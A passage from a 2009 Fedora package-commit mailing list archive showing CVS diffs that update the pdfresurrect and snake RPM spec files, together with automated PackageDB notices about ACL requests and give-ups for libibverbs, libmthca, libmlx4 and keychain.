+++ .cvsignore	28 Oct 2009 14:24:27 -0000	1.5
@@ -1 +1 @@
-pdfresurrect-v0_7.tar.bz2
+pdfresurrect-v0_8.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-11/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	10 Sep 2009 07:37:41 -0000	1.3
+++ import.log	28 Oct 2009 14:24:27 -0000	1.4
@@ -1,3 +1,4 @@
 pdfresurrect-0_04-1_fc9:HEAD:pdfresurrect-0.04-1.fc9.src.rpm:1219609291
 pdfresurrect-0_6-1_fc10:F-11:pdfresurrect-0.6-1.fc10.src.rpm:1243843742
 pdfresurrect-0_7-1_fc11:F-11:pdfresurrect-0.7-1.fc11.src.rpm:1252567151
+pdfresurrect-0_8-1_fc11:F-11:pdfresurrect-0.8-1.fc11.src.rpm:1256739731


Index: pdfresurrect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-11/pdfresurrect.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- pdfresurrect.spec	10 Sep 2009 07:37:41 -0000	1.4
+++ pdfresurrect.spec	28 Oct 2009 14:24:27 -0000	1.5
@@ -1,11 +1,11 @@
 Name:		pdfresurrect
-Version:	0.7
+Version:	0.8
 Release:	1%{?dist}
 Summary:	PDF Analysis and Scrubbing Utility
 Group:		Applications/Productivity
 License:	GPLv3+
 URL:		http://www.757labs.com/projects/pdfresurrect/
-Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_7.tar.bz2
+Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_8.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 
@@ -21,7 +21,7 @@ from previous versions that might not be
 
 
 %prep
-%setup -q -n pdfresurrect-v0_7
+%setup -q -n pdfresurrect-v0_8
 sed -i 's|@CFLAGS@|%{optflags}|' Makefile.in
 
 
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 28 2009 Peter Lemenkov <lemenkov at gmail.com> 0.8-1
+- Ver. 0.8
+
 * Thu Sep 10 2009 Peter Lemenkov <lemenkov at gmail.com> 0.7-1
 - Ver. 0.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Sep 2009 07:37:41 -0000	1.4
+++ sources	28 Oct 2009 14:24:28 -0000	1.5
@@ -1 +1 @@
-aee88aeee5db8bbc2edfc368be640540  pdfresurrect-v0_7.tar.bz2
+0f5614a7323eeb38ed87fbb0f6edbab0  pdfresurrect-v0_8.tar.bz2



From peter at fedoraproject.org  Wed Oct 28 14:25:27 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Wed, 28 Oct 2009 14:25:27 +0000 (UTC)
Subject: rpms/pdfresurrect/F-10 .cvsignore, 1.4, 1.5 import.log, 1.3,
	1.4 pdfresurrect.spec, 1.3, 1.4 sources, 1.4, 1.5
Message-ID: <20091028142527.E489611C00E5@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/pdfresurrect/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1763/F-10

Modified Files:
	.cvsignore import.log pdfresurrect.spec sources 
Log Message:
Ver. 0.8


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	10 Sep 2009 07:38:44 -0000	1.4
+++ .cvsignore	28 Oct 2009 14:25:27 -0000	1.5
@@ -1 +1 @@
-pdfresurrect-v0_7.tar.bz2
+pdfresurrect-v0_8.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-10/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	10 Sep 2009 07:38:44 -0000	1.3
+++ import.log	28 Oct 2009 14:25:27 -0000	1.4
@@ -1,3 +1,4 @@
 pdfresurrect-0_04-1_fc9:HEAD:pdfresurrect-0.04-1.fc9.src.rpm:1219609291
 pdfresurrect-0_6-1_fc10:F-10:pdfresurrect-0.6-1.fc10.src.rpm:1243843819
 pdfresurrect-0_7-1_fc11:F-10:pdfresurrect-0.7-1.fc11.src.rpm:1252568295
+pdfresurrect-0_8-1_fc11:F-10:pdfresurrect-0.8-1.fc11.src.rpm:1256739888


Index: pdfresurrect.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-10/pdfresurrect.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pdfresurrect.spec	10 Sep 2009 07:38:44 -0000	1.3
+++ pdfresurrect.spec	28 Oct 2009 14:25:27 -0000	1.4
@@ -1,11 +1,11 @@
 Name:		pdfresurrect
-Version:	0.7
+Version:	0.8
 Release:	1%{?dist}
 Summary:	PDF Analysis and Scrubbing Utility
 Group:		Applications/Productivity
 License:	GPLv3+
 URL:		http://www.757labs.com/projects/pdfresurrect/
-Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_7.tar.bz2
+Source0:	http://www.757labs.com/projects/pdfresurrect/releases/pdfresurrect-v0_8.tar.bz2
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 
@@ -21,7 +21,7 @@ from previous versions that might not be
 
 
 %prep
-%setup -q -n pdfresurrect-v0_7
+%setup -q -n pdfresurrect-v0_8
 sed -i 's|@CFLAGS@|%{optflags}|' Makefile.in
 
 
@@ -48,6 +48,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 28 2009 Peter Lemenkov <lemenkov at gmail.com> 0.8-1
+- Ver. 0.8
+
 * Thu Sep 10 2009 Peter Lemenkov <lemenkov at gmail.com> 0.7-1
 - Ver. 0.7
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pdfresurrect/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	10 Sep 2009 07:38:44 -0000	1.4
+++ sources	28 Oct 2009 14:25:27 -0000	1.5
@@ -1 +1 @@
-aee88aeee5db8bbc2edfc368be640540  pdfresurrect-v0_7.tar.bz2
+0f5614a7323eeb38ed87fbb0f6edbab0  pdfresurrect-v0_8.tar.bz2



From jlaska at fedoraproject.org  Wed Oct 28 14:29:11 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Wed, 28 Oct 2009 14:29:11 +0000 (UTC)
Subject: rpms/snake/F-12 .cvsignore, 1.16, 1.17 import.log, 1.9,
	1.10 snake.spec, 1.25, 1.26 sources, 1.25, 1.26
Message-ID: <20091028142911.DA21811C00E5@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2203/F-12

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19.fc12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	24 Oct 2009 00:09:51 -0000	1.16
+++ .cvsignore	28 Oct 2009 14:29:11 -0000	1.17
@@ -1 +1 @@
-snake-0.11-0.18.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/import.log,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- import.log	19 Jun 2009 16:58:42 -0000	1.9
+++ import.log	28 Oct 2009 14:29:11 -0000	1.10
@@ -7,3 +7,4 @@ snake-0_11-0_13_fc11:HEAD:snake-0.11-0.1
 snake-0_11-0_14_fc11:HEAD:snake-0.11-0.14.fc11.src.rpm:1236029965
 snake-0_11-0_15_fc11:HEAD:snake-0.11-0.15.fc11.src.rpm:1245251537
 snake-0_11-0_16_fc11:HEAD:snake-0.11-0.16.fc11.src.rpm:1245430566
+snake-0_11-0_19_fc12:F-12:snake-0.11-0.19.fc12.src.rpm:1256740032


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/snake.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- snake.spec	23 Oct 2009 23:47:57 -0000	1.25
+++ snake.spec	28 Oct 2009 14:29:11 -0000	1.26
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.18
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,9 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
 * Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
 - Fix FTBFS: bump release to be able to tag in new branch
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/F-12/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	24 Oct 2009 00:09:51 -0000	1.25
+++ sources	28 Oct 2009 14:29:11 -0000	1.26
@@ -1 +1 @@
-827f25c02077ff877bf89584c297be9d  snake-0.11-0.18.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From jlaska at fedoraproject.org  Wed Oct 28 14:34:23 2009
From: jlaska at fedoraproject.org (James Laska)
Date: Wed, 28 Oct 2009 14:34:23 +0000 (UTC)
Subject: rpms/snake/EL-5 .cvsignore, 1.7, 1.8 import.log, 1.1, 1.2 snake.spec,
	1.10, 1.11 sources, 1.11, 1.12
Message-ID: <20091028143423.79C8311C00E5@cvs1.fedora.phx.redhat.com>

Author: jlaska

Update of /cvs/pkgs/rpms/snake/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2931/EL-5

Modified Files:
	.cvsignore import.log snake.spec sources 
Log Message:
Update to snake-0.11-0.19.fc12



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-5/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	6 Jan 2009 16:41:49 -0000	1.7
+++ .cvsignore	28 Oct 2009 14:34:22 -0000	1.8
@@ -1 +1 @@
-snake-0.11-0.12.tar.bz2
+snake-0.11-0.19.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-5/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	6 Jan 2009 16:41:49 -0000	1.1
+++ import.log	28 Oct 2009 14:34:23 -0000	1.2
@@ -1 +1,2 @@
 snake-0_11-0_12_fc10:EL-5:snake-0.11-0.12.fc10.src.rpm:1231260057
+snake-0_11-0_19_fc12:EL-5:snake-0.11-0.19.fc12.src.rpm:1256740449


Index: snake.spec
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-5/snake.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- snake.spec	6 Jan 2009 16:41:49 -0000	1.10
+++ snake.spec	28 Oct 2009 14:34:23 -0000	1.11
@@ -4,7 +4,7 @@
 Name:           snake
 Summary:        Smart Network Automated Kickstart Environment
 Version:        0.11
-%define rel     0.12
+%define rel     0.19
 Release:        %{rel}%{?dist}
 Source0:        http://hosted.fedoraproject.org/projects/snake/SnakeReleases/%{name}-%{version}-%{rel}.tar.bz2
 License:        GPLv2+
@@ -135,6 +135,31 @@ fi
 
 
 %changelog
+* Fri Oct 26 2009 James Laska <jlaska at redhat.com> 0.11-0.19
+- Correct install.py typo, use subprocess.call to gather arguments (wwoods)
+
+* Fri Oct 23 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 0.11-0.18
+- Fix FTBFS: bump release to be able to tag in new branch
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.11-0.17
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Fri Jun 19 2009 James Laska <jlaska at redhat.com> 0.11-0.16
+- Correct missing import in examples/defaults.py
+
+* Wed Jun 17 2009 James Laska <jlaska at redhat.com> 0.11-0.15
+- ticket#67 - For F11 and newer, specify a UI method if template does not
+  provide one
+- ticket#66 - Snake will use grubby --copy-default to retain any existing
+  required boot arguments
+- Improve handling of non-anonymous FTP URL's
+
+* Mon Mar 2 2009 James Laska <jlaska at redhat.com> 0.11-0.14
+- Bump to work around previous koji tag
+
+* Mon Mar 2 2009 James Laska <jlaska at redhat.com> 0.11-0.13
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Mon Jan 5 2009 James Laska <jlaska at redhat.com> 0.11-0.12
 - Minor fix to cobbler template and move %doc into base package (jlaska)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/snake/EL-5/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	6 Jan 2009 16:41:49 -0000	1.11
+++ sources	28 Oct 2009 14:34:23 -0000	1.12
@@ -1 +1 @@
-0a763da58a7f8babeccae3a6d35abff6  snake-0.11-0.12.tar.bz2
+058703ba20b5929092a674161dcb7a54  snake-0.11-0.19.tar.bz2



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:34 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchbugzilla
Message-ID: <20091028150634.7398B10F89A@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libibverbs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:37 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchcommits
Message-ID: <20091028150638.1173810F8A2@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libibverbs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:39 +0000
Subject: [pkgdb] libibverbs: dledford has requested commit
Message-ID: <20091028150639.D9B3510F8A6@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libibverbs (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:50 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchbugzilla
Message-ID: <20091028150650.7778B10F895@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libibverbs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:51 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchcommits
Message-ID: <20091028150651.3DEE910F89D@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libibverbs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:52 +0000
Subject: [pkgdb] libibverbs: dledford has requested commit
Message-ID: <20091028150652.3D5D510F8A4@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libibverbs (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:56 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchbugzilla
Message-ID: <20091028150656.A039E10F89A@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libibverbs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:57 +0000
Subject: [pkgdb] libibverbs: dledford has requested watchcommits
Message-ID: <20091028150657.28F8A10F8AB@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libibverbs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:06:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:06:58 +0000
Subject: [pkgdb] libibverbs: dledford has requested commit
Message-ID: <20091028150658.ED0DA10F8AC@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libibverbs (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libibverbs



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:11 +0000
Subject: [pkgdb] keychain: scop has given up watchbugzilla
Message-ID: <20091028150711.7C7E110F894@bastion2.fedora.phx.redhat.com>

scop has given up the watchbugzilla acl on keychain (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:11 +0000
Subject: [pkgdb] libmthca: dledford has requested watchbugzilla
Message-ID: <20091028150711.99CB810F89D@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmthca (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:13 +0000
Subject: [pkgdb] keychain: scop has given up watchcommits
Message-ID: <20091028150713.B3B4110F8AB@bastion2.fedora.phx.redhat.com>

scop has given up the watchcommits acl on keychain (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:13 +0000
Subject: [pkgdb] libmthca: dledford has requested commit
Message-ID: <20091028150714.175A310F8B0@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmthca (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:15 +0000
Subject: [pkgdb] keychain: scop has given up commit
Message-ID: <20091028150715.9615D10F8B1@bastion2.fedora.phx.redhat.com>

scop has given up the commit acl on keychain (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:11 +0000
Subject: [pkgdb] libmthca: dledford has requested watchcommits
Message-ID: <20091028150711.F12FE10F8A4@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmthca (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:21 +0000
Subject: [pkgdb] libmthca: dledford has requested watchcommits
Message-ID: <20091028150721.3A40A10F89A@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmthca (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:22 +0000
Subject: [pkgdb] keychain: scop has given up watchbugzilla
Message-ID: <20091028150722.9A5B210F89D@bastion2.fedora.phx.redhat.com>

scop has given up the watchbugzilla acl on keychain (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:23 +0000
Subject: [pkgdb] keychain: scop has given up watchcommits
Message-ID: <20091028150723.8DB3410F8A3@bastion2.fedora.phx.redhat.com>

scop has given up the watchcommits acl on keychain (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:24 +0000
Subject: [pkgdb] keychain: scop has given up commit
Message-ID: <20091028150724.256C210F8B3@bastion2.fedora.phx.redhat.com>

scop has given up the commit acl on keychain (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:26 +0000
Subject: [pkgdb] keychain: scop has given up watchbugzilla
Message-ID: <20091028150727.07B8F10F8AC@bastion2.fedora.phx.redhat.com>

scop has given up the watchbugzilla acl on keychain (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:27 +0000
Subject: [pkgdb] keychain: scop has given up watchcommits
Message-ID: <20091028150727.919C110F8B0@bastion2.fedora.phx.redhat.com>

scop has given up the watchcommits acl on keychain (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:27 +0000
Subject: [pkgdb] libmthca: dledford has requested commit
Message-ID: <20091028150728.249C910F8B8@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmthca (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:28 +0000
Subject: [pkgdb] keychain: scop has given up commit
Message-ID: <20091028150728.5AA0A10F8BA@bastion2.fedora.phx.redhat.com>

scop has given up the commit acl on keychain (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:30 +0000
Subject: [pkgdb] keychain: scop has given up watchbugzilla
Message-ID: <20091028150730.7266410F8B1@bastion2.fedora.phx.redhat.com>

scop has given up the watchbugzilla acl on keychain (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:30 +0000
Subject: [pkgdb] libmthca: dledford has requested watchbugzilla
Message-ID: <20091028150730.C770610F8BD@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmthca (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:31 +0000
Subject: [pkgdb] keychain: scop has given up commit
Message-ID: <20091028150731.E928E10F8C2@bastion2.fedora.phx.redhat.com>

scop has given up the commit acl on keychain (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:31 +0000
Subject: [pkgdb] keychain: scop has given up watchcommits
Message-ID: <20091028150731.265D510F8BF@bastion2.fedora.phx.redhat.com>

scop has given up the watchcommits acl on keychain (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:36 +0000
Subject: [pkgdb] libmthca: dledford has requested watchbugzilla
Message-ID: <20091028150736.28B2510F89C@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmthca (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:37 +0000
Subject: [pkgdb] libmthca: dledford has requested watchcommits
Message-ID: <20091028150737.BE76310F8A4@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmthca (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:39 +0000
Subject: [pkgdb] libmthca: dledford has requested commit
Message-ID: <20091028150740.05ACD10F8C6@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmthca (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/libmthca



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:47 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchcommits
Message-ID: <20091028150747.CBC2B10F8B5@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmlx4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:45 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchbugzilla
Message-ID: <20091028150746.0961810F8AC@bastion2.fedora.phx.redhat.com>

dledford has requested the watchbugzilla acl on libmlx4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:49 +0000
Subject: [pkgdb] libmlx4: dledford has requested commit
Message-ID: <20091028150749.2051410F8B6@bastion2.fedora.phx.redhat.com>

dledford has requested the commit acl on libmlx4 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:51 +0000
Subject: [pkgdb] keychain: scop has given up watchbugzilla
Message-ID: <20091028150751.640AD10F8B7@bastion2.fedora.phx.redhat.com>

scop has given up the watchbugzilla acl on keychain (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:52 +0000
Subject: [pkgdb] keychain: scop has given up watchcommits
Message-ID: <20091028150752.741D410F8BC@bastion2.fedora.phx.redhat.com>

scop has given up the watchcommits acl on keychain (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:53 +0000
Subject: [pkgdb] keychain: scop has given up commit
Message-ID: <20091028150753.9F94110F8C9@bastion2.fedora.phx.redhat.com>

scop has given up the commit acl on keychain (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/keychain



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:57 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchcommits
Message-ID: <20091028150757.A7DEA10F80E@bastion2.fedora.phx.redhat.com>

dledford has requested the watchcommits acl on libmlx4 (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/libmlx4



From pkgdb at fedoraproject.org  Wed Oct 28 15:07:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 15:07:55 +0000
Subject: [pkgdb] libmlx4: dledford has requested watchbugzilla
